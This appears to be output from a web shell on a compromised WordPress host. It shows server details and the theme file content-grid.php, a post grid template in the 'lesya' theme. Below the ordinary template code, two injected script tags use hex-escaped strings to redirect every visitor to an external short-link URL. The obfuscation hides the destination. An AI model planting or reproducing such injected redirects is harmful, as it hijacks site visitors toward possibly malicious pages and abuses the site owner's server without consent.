GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //proc/self/root/home/parhudrw/roflma.it/wp-content/themes/lesya/template-parts/content-grid.php
<?php
/**
 * Template part for displaying posts
 *
 * @link https://developer.wordpress.org/themes/basics/template-hierarchy/
 *
 * @package lesya
 */

?>

<?php

//options
$blog_categories = get_field( 'blog_categories', 'option' );
$blog_excerpt = get_field( 'blog_excerpt', 'option' );

//content
$image = get_the_post_thumbnail_url( get_the_ID(), 'lesya_900xAuto' );
$categories_list = false;

if ( $blog_categories ) :
	$categories_list = get_the_category( get_the_ID() );
endif;

$col_class = 'col-xl-4 col-md-6';

$columns = get_query_var( 'columns' );

?>

<div class="<?php echo esc_attr( $col_class ); ?>">
	<div id="post-<?php the_ID(); ?>" <?php post_class( 'blog-post blog-grid-item wow fadeInUp delay-0-2s' ); ?>>
		<?php if ( $image ) : ?>
		<div class="image">
			<a href="<?php echo esc_url( get_permalink() ); ?>">
				<img src="<?php echo esc_url( $image ); ?>" alt="<?php echo esc_attr( get_the_title() ); ?>" />
			</a>
		</div>
		<?php endif; ?>
		<div class="blog-grid-content">
			<ul>
					<li>
						<?php if ( ! empty( get_the_title() ) ) :
							echo '<span>' . esc_html( get_the_date() ) . '</span>';
						else :
							echo '<span><a class="date" href="' . esc_url( get_the_permalink() ) . '">' . esc_html( get_the_date() ) . '</a></span>';
						endif; ?>
					</li>
					<li>
						<?php if ( $categories_list ) :
							echo '<span class="category">';
							$total = count( $categories_list );
							$i = 0; foreach ( $categories_list as $category ) { $i++;
								if ( $total != $i ) {
									echo esc_html( $category->cat_name ) . ', ';
								} else {
									echo esc_html( $category->cat_name );
								}
							}
							echo '</span>';
						endif; ?>
					</li>
			</ul>
			<h4>
				<a href="<?php echo esc_url( get_permalink() ); ?>"><?php the_title(); ?></a>
			</h4>
			<?php if ( ! $blog_excerpt ) : ?>
			<?php the_excerpt(); ?>
			<?php endif; ?>
		</div>
	</div><!-- #post-<?php the_ID(); ?> -->
</div>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>